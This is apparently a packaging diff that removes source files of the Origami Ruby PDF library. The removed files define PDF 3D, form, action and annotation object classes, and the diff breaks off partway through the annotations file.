-b3463c2fdc2bf0243144d100bafbf4a87403888c 1.0.2 -5a44566a8cfa94881e6e70bee8c07c505294f912 remove -5a44566a8cfa94881e6e70bee8c07c505294f912 remove -0000000000000000000000000000000000000000 remove -0000000000000000000000000000000000000000 remove -0000000000000000000000000000000000000000 remove -b3463c2fdc2bf0243144d100bafbf4a87403888c 1.0.2 -0000000000000000000000000000000000000000 1.0.2 -0000000000000000000000000000000000000000 1.0.2 -aeb1ea9cad6ec4c26a0b1b35bdab41d1b0d433a2 1.0.2 -5917a29476349c8c2d0a5547536f59e1936f9159 1.1.0 -43f5a9659eb854088484c71c212adb420cbb32ae 1.1.2 -43f5a9659eb854088484c71c212adb420cbb32ae 1.1.2 -0000000000000000000000000000000000000000 1.1.2 -0000000000000000000000000000000000000000 1.1.2 -bf60acfadf526f71badea98d8c11525b8468e700 1.1.2 -a71faae1a909ad877094cde7489c132d90403e59 1.2.0 -69427fb939d3967c3f651073f19e8203a8149a17 1.2.1 -111adcdcd4a2041fc2f4a2f06390d22fd8096f42 1.2.2 -89b51d85d992c95bebb5f45d4904fb7433c1da4f 1.2.3 -bccb50013f4a0f9be868e3dcb120054b3d31345f 1.2.4 -e61b63a8b4f043c80fac47601a5e7eed04bd2978 1.2.5 -35ddff08cdbc30bd6892d60176d56ed990444c21 1.2.6 diff -Nru origami-1.2.7/lib/origami/3d.rb origami-1.2.7+really0.7.4/lib/origami/3d.rb --- origami-1.2.7/lib/origami/3d.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/3d.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,239 +0,0 @@ -=begin - -= File - 3d.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class Annotation - - # - # 3D Artwork annotation. - # - class Artwork3D < Annotation - field :Subtype, :Type => Name, :Default => :"3D", :Version => "1.6", :Required => true - field :"3DD", :Type => [ Dictionary, Stream ], :Required => true - field :"3DV", :Type => Object - field :"3DA", :Type => Dictionary - field :"3DI", :Type => Boolean, :Default => true - field :"3DB", :Type => Array - - class Activation < Dictionary - include StandardObject - - module Events - PAGE_OPEN = :PO - PAGE_CLOSE = :PC - PAGE_VISIBLE = :PV - PAGE_INVISIBLE = :PI - USER_ACTIVATE = :XA - USER_DEACTIVATE = :XD - end - - module State - UNINSTANCIATED = :U - INSTANCIATED = :I - LIVE = :L - end - - field :A, :Type => Name, :Default => Events::USER_ACTIVATE - field :AIS, :Type => Name, :Default => State::LIVE - field :D, :Type => Name, :Default => Events::PAGE_INVISIBLE - field :DIS, :Type => Name, :Default => State::UNINSTANCIATED - field :TB, :Type => Boolean, :Version => "1.7", :Default => true - field :NP, :Type => Boolean, :Version => "1.7", :Default => false - end - end - - end - - class U3DStream < Stream - include StandardObject - - field :Type, :Type => Name, :Default => :"3D" - field :Subtype, :Type => Name, :Default => :U3D, :Required => true - field :VA, :Type => Dictionary - field :DV, :Type => Object - field :Resources, :Type => Dictionary - field :OnInstantiate, :Type => Stream - field :AN, :Type => Dictionary - - def onInstantiate(action) - self[:OnInstantiate] = action - end - end - - class AnimationStyle3D < Dictionary - include StandardObject - - module Styles - NONE = :None - LINEAR = :Linear - OSCILLATING = :Oscillating - end - - field :Type, :Type => Name, :Default => "3DAnimationStyle" - field :Subtype, :Type => Name, :Default => Styles::NONE - field :PC, :Type => Integer, :Default => 0 - field :TM, :Type => Number, :Default => 1 - end - - class Reference3D < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :"3DRef" - field :"3DD", :Type => Stream - end - - class View3D < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :"3DView" - field :XN, :Type => ByteString, :Required => true - field :IN, :Type => ByteString - field :MS, :Type => Name - field :C2W, :Type => Array - field :U3DPath, :Type => [ ByteString, Array ] - field :CO, :Type => Number - field :P, :Type => Dictionary - field :O, :Type => Stream - field :BG, :Type => Dictionary - field :RM, :Type => Dictionary, :Version => "1.7" - field :LS, :Type => Dictionary, :Version => "1.7" - field :SA, :Type => Array, :Version => "1.7" - field :NA, :Type => Array, :Version => "1.7" - field :NR, :Type => Boolean, :Version => "1.7", :Default => false - end - - class Projection3D < Dictionary - include StandardObject - - ORTHOGRAPHIC = :O - PERSPECTIVE = :P - - module ClippingStyles - EXPLICIT_NEARFAR = :XNF - AUTOMATIC_NEARFAR = :ANF - end - - module Scaling - WIDTH = :W - HEIGHT = :H - MINIMUM = :Min - MAXIMUM = :Max - ABSOLUTE = :Absolute - end - - field :Subtype, :Type => Name, :Default => ORTHOGRAPHIC - field :CS, :Type => Name, :Default => ClippingStyles::AUTOMATIC_NEARFAR - field :F, :Type => Number - field :N, :Type => Number - field :FOV, :Type => Number - field :PS, :Type => [ Number, Name ], :Default => Scaling::WIDTH - field :OS, :Type => Number, :Default => 1 - field :OB, :Type => Name, :Version => "1.7", :Default => Scaling::ABSOLUTE - end - - class Background3D < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :"3DBG" - field :Subtype, :Type => Name, :Default => :SC - field :CS, :Type => [ Name, Array ], :Default => Graphics::Color::Space::DEVICE_RGB - field :C, :Type => Object, :Default => [ 1, 1, 1 ] - field :EA, :Type => Boolean, :Default => false - end - - class RenderMode3D < Dictionary - include StandardObject - - module Modes - SOLID = :Solid - SOLID_WIREFRAME = :SolidWireFrame - TRANSPARENT = :Transparent - TRANSPARENT_WIREFRAME = :TransparentWireFrame - BOUNDINGBOX = :BoundingBox - TRANSPARENT_BOUNDINGBOX = :TransparentBoundingBox - TRANSPARENT_BOUNDINGBOX_OUTLINE = :TransparentBoundingBoxOutline - WIREFRAME = :WireFrame - SHADED_WIREFRAME = :ShadedWireFrame - HIDDEN_WIREFRAME = :HiddenWireFrame - VERTICES = :Vertices - SHADED_VERTICES = :ShadedVertices - ILLUSTRATION = :Illustration - SOLID_OUTLINE = :SolidOutline - SHADED_ILLUSTRATION = :ShadedIllustration - end - - field :Type, :Type => Name, :Default => :"3DRenderMode" - field :Subtype, :Type => Name, :Required => true, :Version => "1.7" - field :AC, :Type => Array, :Default => [ Graphics::Color::Space::DEVICE_RGB, 0, 0, 0] - field :BG, :Type => [ Name, Array ], :Default => :BG - field :O, :Type => Number, :Default => 0.5 - field :CV, :Type => Number, :Default => 45 - end - - class LightingScheme3D < Dictionary - include StandardObject - - module Styles - ARTWORK = :Artwork - NONE = :None - WHITE = :White - DAY = :Day - NIGHT = :Night - HARD = :Hard - PRIMARY = :Primary - BLUE = :Blue - RED = :Red - CUBE = :Cube - CAD = :CAD - HEADLAMP = :HeadLamp - end - - field :Type, :Type => Name, :Default => :"3DLightingScheme" - field :Subtype, :Type => Name, :Version => "1.7", :Required => true - end - - class CrossSection3D < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :"3DCrossSection" - field :C, :Type => Array, :Default => [ 0, 0, 0 ] - field :O, :Type => Array, :Version => "1.7", :Default => [ Null.new, 0, 0 ], :Required => true - field :PO, :Type => Number, :Default => 0.5 - field :PC, :Type => Array, :Default => [ Graphics::Color::Space::DEVICE_RGB, 1, 1, 1 ] - field :IV, :Type => Boolean, :Default => false - field :IC, :Type => Array, :Default => [ Graphics::Color::Space::DEVICE_RGB, 0, 1 ,0] - end - - class Node3D < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :"3DNode" - field :N, :Type => ByteString, :Version => "1.7", :Required => true - field :O, :Type => Number - field :V, :Type => Boolean - field :M, :Type => Array - end -end diff -Nru origami-1.2.7/lib/origami/acroform.rb origami-1.2.7+really0.7.4/lib/origami/acroform.rb --- origami-1.2.7/lib/origami/acroform.rb 2013-03-19 18:29:17.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/acroform.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,321 +0,0 @@ -=begin - -= File - acroform.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - # - # Returns true if the document contains an acrobat form. - # - def has_form? - (not self.Catalog.nil?) and self.Catalog.has_key? :AcroForm - end - - # - # Creates a new AcroForm with specified fields. - # - def create_acroform(*fields) - acroform = self.Catalog.AcroForm ||= InteractiveForm.new.set_indirect(true) - self.add_fields(*fields) - - acroform - end - - # - # Add a field to the Acrobat form. - # _field_:: The Field to add. - # - def add_fields(*fields) - raise TypeError, "Expected Field arguments" unless fields.all? { |f| f.is_a?(Field) } - - self.Catalog.AcroForm ||= InteractiveForm.new.set_indirect(true) - self.Catalog.AcroForm.Fields ||= [] - - self.Catalog.AcroForm.Fields.concat(fields) - fields.each do |field| field.set_indirect(true) end - - self - end - - # - # Returns an array of Acroform fields. - # - def fields - if self.has_form? - if self.Catalog.AcroForm.has_key?(:Fields) - self.Catalog.AcroForm[:Fields].map {|field| field.solve} - end - end - end - - # - # Iterates over each Acroform Field. - # - def each_field(&b) - if self.has_form? - if self.Catalog.AcroForm.has_key?(:Fields) - self.Catalog.AcroForm[:Fields].each {|field| b.call(field.solve)} - end - end - end - - # - # Returns the corresponding named Field. - # - def get_field(name) - self.each_field do |field| - return field if field[:T].solve == name - end - end - end - - # - # Class representing a interactive form Dictionary. - # - class InteractiveForm < Dictionary - - include StandardObject - - # - # Flags relative to signature fields. - # - module SigFlags - SIGNATURESEXIST = 1 << 0 - APPENDONLY = 1 << 1 - end - - field :Fields, :Type => Array, :Required => true, :Default => [] - field :NeedAppearances, :Type => Boolean, :Default => false - field :SigFlags, :Type => Integer, :Default => 0 - field :CO, :Type => Array, :Version => "1.3" - field :DR, :Type => Dictionary - field :DA, :Type => String - field :Q, :Type => Integer - field :XFA, :Type => [ Stream, Array ] - - end - - module Field - - # - # Types of fields. - # - module Type - BUTTON = :Btn - TEXT = :Tx - CHOICE = :Ch - SIGNATURE = :Sig - end - - # - # Flags relative to fields. - # - module Flags - READONLY = 1 << 0 - REQUIRED = 1 << 1 - NOEXPORT = 1 << 2 - end - - module TextAlign - LEFT = 0 - CENTER = 1 - RIGHT = 2 - end - - def self.included(receiver) #:nodoc: - - receiver.field :FT, :Type => Name, :Required => true - receiver.field :Parent, :Type => Dictionary - receiver.field :Kids, :Type => Array - receiver.field :T, :Type => String - receiver.field :TU, :Type => String, :Version => "1.3" - receiver.field :TM, :Type => String, :Version => "1.3" - receiver.field :Ff, :Type => Integer, :Default => 0 - receiver.field :V, :Type => Object - receiver.field :DV, :Type => Object - receiver.field :AA, :Type => Dictionary, :Version => "1.2" - - # Variable text fields - receiver.field :DA, :Type => String, :Default => "/F1 10 Tf 0 g", :Required => true - receiver.field :Q, :Type => Integer, :Default => TextAlign::LEFT - receiver.field :DS, :Type => ByteString, :Version => "1.5" - receiver.field :RV, :Type => [ String, Stream ], :Version => "1.5" - - end - - def pre_build #:nodoc: - - if not self.T - self.T = "undef#{::Array.new(5) {(0x30 + rand(10)).chr}.join}" - end - - super - end - - def onKeyStroke(action) - - unless action.is_a?(Action) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.K = action - - end - - def onFormat(action) - - unless action.is_a?(Action) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.F = action - - end - - def onValidate(action) - - unless action.is_a?(Action) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.V = action - - end - - def onCalculate(action) - - unless action.is_a?(Action) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.C = action - - end - - class Subform < Dictionary - include StandardObject - include Field - - def add_fields(*fields) - self.Kids ||= [] - self.Kids.concat(fields) - - fields.each do |field| field.Parent = self end - - self - end - end - - class AdditionalActions < Dictionary - - include StandardObject - - field :K, :Type => Dictionary, :Version => "1.3" - field :F, :Type => Dictionary, :Version => "1.3" - field :V, :Type => Dictionary, :Version => "1.3" - field :C, :Type => Dictionary, :Version => "1.3" - end - - class SignatureLock < Dictionary - - include StandardObject - - module Actions - ALL = :All - INCLUDE = :Include - EXCLUDE = :Exclude - end - - field :Type, :Type => Name, :Default => :SigFieldLock - field :Action, :Type => Name, :Required => true - field :Fields, :Type => Array - - def pre_build - - if self.Action and self.Action != Actions::ALL - self.Fields ||= [] - end - - super - end - - end - - class SignatureSeedValue < Dictionary - - include StandardObject - - module Digest - SHA1 = :SHA1 - SHA256 = :SHA256 - SHA384 = :SHA384 - SHA512 = :SHA512 - RIPEMD160 = :RIPEMD160 - end - - field :Type, :Type => Name, :Default => :SV - field :Filter, :Type => Name - field :SubFilter, :Type => Array - field :DigestMethod, :Type => Array, :Default => Digest::SHA1, :Version => "1.7" - field :V, :Type => Real, :Default => 1.0 - field :Cert, :Type => Dictionary - field :Reasons, :Type => Array - field :MDP, :Type => Dictionary, :Version => "1.6" - field :TimeStamp, :Type => Dictionary, :Version => "1.6" - field :LegalAttestation, :Type => Array, :Version => "1.6" - field :AddRevInfo, :Type => Boolean, :Default => false, :Version => "1.7" - field :Ff, :Type => Integer, :Default => 0 - - end - - class CertificateSeedValue < Dictionary - - include StandardObject - - module URL - BROWSER = :Browser - ASSP = :ASSP - end - - field :Type, :Type => Name, :Default => :SVCert - field :Subject, :Type => Array - field :SubjectDN, :Type => Array, :Version => "1.7" - field :KeyUsage, :Type => Array, :Version => "1.7" - field :Issuer, :Type => Array - field :OID, :Type => Array - field :URL, :Type => ByteString - field :URLType, :Type => Name, :Default => URL::BROWSER, :Version => "1.7" - field :Ff, :Type => Integer, :Default => 0 - - end - - end - -end diff -Nru origami-1.2.7/lib/origami/actions.rb origami-1.2.7+really0.7.4/lib/origami/actions.rb --- origami-1.2.7/lib/origami/actions.rb 2013-03-19 16:19:25.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/actions.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,325 +0,0 @@ -=begin - -= File - actions.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - # - # Lookup script in the scripts name directory. - # - def get_script_by_name(name) - resolve_name Names::Root::JAVASCRIPT, name - end - - # - # Calls block for each named JavaScript script. - # - def each_named_script(&b) - each_name(Names::Root::JAVASCRIPT, &b) - end - end - - # - # Class representing an action to launch in a PDF. - # - class Action < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :Action - field :S, :Type => Name, :Required => true - field :Next, :Type => [ Array, Dictionary ], :Version => "1.2" - - # - # Class representing a action going to a destination in the current document. - # - class GoTo < Action - - field :S, :Type => Name, :Default => :GoTo, :Required => true - field :D, :Type => [ Array, Name, ByteString ], :Required => true - - # - # Creates a new GoTo Action. - # _hash_:: A hash of options to set for this jump. - # - def self.[](hash = {}) - if hash.is_a? Destination - self.new(:S => :GoTo, :D => hash) - else - self.new(hash) - end - end - - end - - def self.GoTo(hash = {}) - Action::GoTo[hash] - end - - # - # Class representing an action launching an URL. - # - class URI < Action - - field :S, :Type => Name, :Default => :URI, :Required => true - field :URI, :Type => ByteString, :Required => true - field :IsMap, :Type => Boolean, :Default => false - - # - # Creates a new URI Action. - # _uri_:: The URI to launch. - # _ismap_:: - # - def self.[](uri, ismap = false) - self.new(:URI => uri, :IsMap => ismap) - end - - end - - def self.URI(uri, ismap = false) - Action::URI[uri, ismap] - end - - # - # Class representing a JavaScript Action. - # - class JavaScript < Action - - field :S, :Type => Name, :Default => :JavaScript, :Required => true - field :JS, :Type => [ Stream, String ], :Required => true - - # - # Creates a new JavaScript Action. - # _script_:: The script to be executed. - # - def self.[](script) - self.new(:JS => script) - end - end - - def self.JavaScript(script) - Action::JavaScript[script] - end - - # - # Class representing an Action which run a command on the current system. - # - class Launch < Action - - field :S, :Type => Name, :Default => :Launch, :Required => true - field :F, :Type => [ ByteString, Dictionary ] - field :Win, :Type => Dictionary - field :Mac, :Type => Object - field :Unix, :Type => Object - field :NewWindow, :Type => Boolean - - # - # Dictionary for passing parameter to Windows applications during Launch. - # - class WindowsLaunchParams < Dictionary - - include StandardObject - - field :F, :Type => ByteString, :Required => true - field :D, :Type => ByteString - field :O, :Type => ByteString, :Default => "open" - field :P, :Type => ByteString - - end - end - - # - # Class representing a Named Action. - # Named actions are predefined GoTo actions. - # - class Named < Action - - field :S, :Type => Name, :Default => :Named, :Required => true - field :N, :Type => Name, :Required => true - - def self.[](type) - self.new(:N => type) - end - - NEXTPAGE = self[:NextPage] - PREVPAGE = self[:PrevPage] - FIRSTPAGE = self[:FirstPage] - LASTPAGE = self[:LastPage] - PRINT = self[:Print] - end - - def self.Named(type) - Action::Named[type] - end - - # - # Class representing a GoTo Action to an external file. - # - class GoToR < Action - - field :S, :Type => Name, :Default => :GoToR, :Required => true - field :F, :Type => [ ByteString, Dictionary ], :Required => true - field :D, :Type => [ Array, Name, ByteString ], :Required => true - field :NewWindow, :Type => Boolean, :Version => "1.2" - - # - # Creates a new GoTo remote Action. - # _file_:: A FileSpec describing the file. - # _dest_:: A Destination in the file. - # _newwindow_:: Specifies whether the file has to be opened in a new window. - # - def self.[](file, dest = Destination::GlobalFit.new(0), newwindow = false) - self.new(:F => file, :D => dest, :NewWindow => newwindow) - end - - end - - def self.GoToR(file, dest = Destination::GlobalFit.new(0), newwindow = false) - Action::GoToR[file, dest, newwindow] - end - - # - # Class representing a GoTo Action to an embedded pdf file. - # - class GoToE < Action - - field :S, :Type => Name, :Default => :GoToE, :Required => true - field :F, :Type => [ Dictionary, ByteString ] - field :D, :Type => [ Array, Name, ByteString ], :Required => true - field :NewWindow, :Type => Boolean - field :T, :Type => Dictionary - - # - # A class representing a target for a GoToE to an embedded file. - # - class EmbeddedTarget < Dictionary - - include StandardObject - - module Relationship - PARENT = :P - CHILD = :C - end - - field :R, :Type => Name, :Required => true - field :N, :Type => ByteString - field :P, :Type => [ Integer, ByteString ] - field :A, :Type => [ Integer, ByteString ] - field :T, :Type => Dictionary - - end - - def self.[](filename, dest, newwindow = false) - self.new(:T => EmbeddedTarget.new(:R => :C, :N => filename), :D => dest, :NewWindow => newwindow) - end - - end - - def self.GoToE(filename, dest, newwindow = false) - Action::GoToE[filename, dest, newwindow] - end - - # - # (PDF 1.2) Send data to a uniform resource locator. p703 - # - class SubmitForm < Action - - module Flags - INCLUDEEXCLUDE = 1 << 0 - INCLUDENOVALUEFIELDS = 1 << 1 - EXPORTFORMAT = 1 << 2 - GETMETHOD = 1 << 3 - SUBMITCOORDINATES = 1 << 4 - XFDF = 1 << 5 - INCLUDEAPPENDSAVES = 1 << 6 - INCLUDEANNOTATIONS = 1 << 7 - SUBMITPDF = 1 << 8 - CANONICALFORMAT = 1 << 9 - EXCLNONUSERANNOTS = 1 << 10 - EXCLFKEY = 1 << 11 - EMBEDFORM = 1 << 12 - end - - field :S, :Type => Name, :Default => :SubmitForm, :Required => true - field :F, :Type => Dictionary - field :Fields, :Type => Array - field :Flags, :Type => Integer, :Default => 0 - - def self.[](url, fields = [], flags = 0) - url = FileSpec.new(:FS => :URL, :F => url) unless url.is_a? FileSpec - self.new(:F => url, :Fields => fields, :Flags => flags) - end - - end - - def self.SubmitForm(url, fields = [], flags = 0) - Action::SubmitForm[url, fields, flags] - end - - class ImportData < Action - - field :S, :Type => Name, :Default => :ImportData, :Required => true - field :F, :Type => Dictionary, :Required => true - - def self.[](file) - file = FileSpec.new(:FS => :File, :F => file) unless file.is_a? FileSpec - self.new(:F => file) - end - - end - - def self.ImportData(file) - Action::ImportData[file] - end - - class RichMediaExecute < Action - - field :S, :Type => Name, :Default => :RichMediaExecute, :Version => "1.7", :ExtensionLevel => 3, :Required => true - field :TA, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3, :Required => true - field :TI, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :CMD, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3, :Required => true - - class Command < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :RichMediaCommand, :Version => "1.7", :ExtensionLevel => 3 - field :C, :Type => String, :Version => "1.7", :ExtensionLevel => 3, :Required => true - field :A, :Type => Object, :Version => "1.7", :ExtensionLevel => 3 - end - - def self.[](annotation, command, *params) - self.new(:TA => annotation, :CMD => Command.new(:C => command, :A => params)) - end - - end - - def self.RichMediaExecute(annotation, command, *params) - Action::RichMediaExecute[annotation, command, *params] - end - - end - -end diff -Nru origami-1.2.7/lib/origami/annotations.rb origami-1.2.7+really0.7.4/lib/origami/annotations.rb --- origami-1.2.7/lib/origami/annotations.rb 2013-03-19 18:29:17.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/annotations.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,776 +0,0 @@ -=begin - -= File - annotations.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume DelugrÈ - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - # - # Class representing an annotation. - # Annotations are objects which user can interact with. - # - class Annotation < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :Annot - field :Subtype, :Type => Name, :Required => true - field :Rect, :Type => Array, :Default => [ 0 , 0 , 0 , 0 ], :Required => true - field :Contents, :Type => String - field :P, :Type => Dictionary, :Version => "1.3" - field :NM, :Type => String, :Version => "1.4" - field :M, :Type => ByteString, :Version => "1.1" - field :F, :Type => Integer, :Default => 0, :Version => "1.1" - field :AP, :Type => Dictionary, :Version => "1.2" - field :AS, :Type => Name, :Version => "1.2" - field :Border, :Type => Array, :Default => [ 0 , 0 , 1 ] - field :C, :Type => Array, :Version => "1.1" - field :StructParent, :Type => Integer, :Version => "1.3" - field :OC, :Type => Dictionary, :Version => "1.5" - - def set_normal_appearance(apstm) - self.AP ||= AppearanceDictionary.new - self.AP[:N] = apstm - - self - end - - def set_rollover_appearance(apstm) - self.AP ||= AppearanceDictionary.new - self.AP[:R] = apstm - - self - end - - def set_down_appearance(apstm) - self.AP ||= AppearanceStream.new - self.AP[:D] = apstm - - self - end - - module Triggerable - - def onMouseOver(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.E = action - end - - def onMouseOut(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.X = action - end - - def onMouseDown(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.D = action - end - - def onMouseUp(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.U = action - end - - def onFocus(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.Fo = action - end - - def onBlur(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.Bl = action - end - - def onPageOpen(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.PO = action - end - - def onPageClose(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.PC = action - end - - def onPageVisible(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.PV = action - end - - def onPageInvisible(action) - unless action.is_a?(Action) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - self.AA ||= AdditionalActions.new - self.AA.PI = action - end - - end - - # - # Annotation flags - # - module Flags - INVISIBLE = 1 << 0 - HIDDEN = 1 << 1 - PRINT = 1 << 2 - NOZOOM = 1 << 3 - NOROTATE = 1 << 4 - NOVIEW = 1 << 5 - READONLY = 1 << 6 - LOCKED = 1 << 7 - TOGGLENOVIEW = 1 << 8 - LOCKEDCONTENTS = 1 << 9 - end - - module Markup - - def self.included(receiver) - receiver.field :T, :Type => String, :Version => "1.1" - receiver.field :Popup, :Type => Dictionary, :Version => "1.3" - receiver.field :CA, :Type => Number, :Default => 1.0, :Version => "1.4" - receiver.field :RC, :Type => [String, Stream], :Version => "1.5" - receiver.field :CreationDate, :Type => String, :Version => "1.5" - receiver.field :IRT, :Type => Dictionary, :Version => "1.5" - receiver.field :Subj, :Type => String, :Version => "1.5" - receiver.field :RT, :Type => Name, :Default => :R, :Version => "1.6" - receiver.field :IT, :Type => Name, :Version => "1.6" - receiver.field :ExData, :Type => Dictionary, :Version => "1.7" - end - - end - - class AppearanceDictionary < Dictionary - - include StandardObject - - field :N, :Type => [ Stream, Dictionary ], :Required => true - field :R, :Type => [ Stream, Dictionary ] - field :D, :Type => [ Stream, Dictionary ] - - end - - class AppearanceStream < Graphics::FormXObject ; end - - class BorderStyle < Dictionary - - include StandardObject - - SOLID = :S - DASHED = :D - BEVELED = :B - INSET = :I - UNDERLINE = :U - - field :Type, :Type => Name, :Default => :Border - field :W, :Type => Number, :Default => 1 - field :S, :Type => Name, :Default => SOLID - field :D, :Type => Array, :Default => [ 3 ] - - end - - class AppearanceCharacteristics < Dictionary - - include StandardObject - - module CaptionStyle - CAPTIONONLY = 0 - ICONONLY = 1 - CAPTIONBELOW = 2 - CAPTIONABOVE = 3 - CAPTIONRIGHT = 4 - CAPTIONLEFT = 5 - CAPTIONOVERLAID = 6 - end - - field :R, :Type => Integer, :Default => 0 - field :BC, :Type => Array - field :BG, :Type => Array - field :CA, :Type => String - field :RC, :Type => String - field :AC, :Type => String - field :I, :Type => Stream - field :RI, :Type => Stream - field :IX, :Type => Stream - field :IF, :Type => Dictionary - field :TP, :Type => Integer, :Default => CaptionStyle::CAPTIONONLY - - end - - class Shape < Annotation - - include Markup - - field :Subtype, :Type => Name, :Required => true - field :BS, :Type => Dictionary - field :IC, :Type => Array - field :BE, :Type => Dictionary, :Version => "1.5" - field :RD, :Type => Array, :Version => "1.5" - - end - - class Square < Shape - field :Subtype, :Type => Name, :Default => :Square, :Required => true - end - - class Circle < Shape - - field :Subtype, :Type => Name, :Default => :Circle, :Required => true - - end - - # - # Text annotation - # - class Text < Annotation - - include Markup - - module TextName - COMMENT = :C - KEY = :K - NOTE = :N - HELP = :H - NEWPARAGRAPH = :NP - PARAGRAPH = :P - INSERT = :I - end - - field :Subtype, :Type => Name, :Default => :Text, :Required => true - field :Open, :Type => Boolean, :Default => false - field :Name, :Type => Name, :Default => TextName::NOTE - field :State, :Type => String, :Version => "1.5" - field :StateModel, :Type => String, :Version => "1.5" - - def pre_build - - model = self.StateModel - state = self.State - - case model - when "Marked" - state = "Unmarked" if state.nil? - when "Review" - state = "None" if state.nil? - end - - super - end - - end - - # - # FreeText Annotation - # - class FreeText < Annotation - - include Markup - - module Intent - FREETEXT = :FreeText - FREETEXTCALLOUT = :FreeTextCallout - FREETEXTTYPEWRITER = :FreeTextTypeWriter - end - - field :Subtype, :Type => Name, :Default => :FreeText, :Required => true - field :DA, :Type => String, :Default => "/F1 10 Tf 0 g", :Required => true - field :Q, :Type => Integer, :Default => Field::TextAlign::LEFT, :Version => "1.4" - field :RC, :Type => [String, Stream], :Version => "1.5" - field :DS, :Type => String, :Version => "1.5" - field :CL, :Type => Array, :Version => "1.6" - field :IT, :Type => Name, :Default => Intent::FREETEXT, :Version => "1.6" - field :BE, :Type => Dictionary, :Version => "1.6" - field :RD, :Type => Array, :Version => "1.6" - field :BS, :Type => Dictionary, :Version => "1.6" - field :LE, :Type => Name, :Default => :None, :Version => "1.6" - - end - - # - # Class representing an link annotation. - # - class Link < Annotation - - # - # The annotation’s highlighting mode, the visual effect to be used when the mouse button is pressed or held down inside its active area. - # - module Highlight - # No highlighting - NONE = :N - - # Invert the contents of the annotation rectangle. - INVERT = :I - - # Invert the annotation’s border. - OUTLINE = :O - - # Display the annotation as if it were being pushed below the surface of the page - PUSH = :P - end - - field :Subtype, :Type => Name, :Default => :Link, 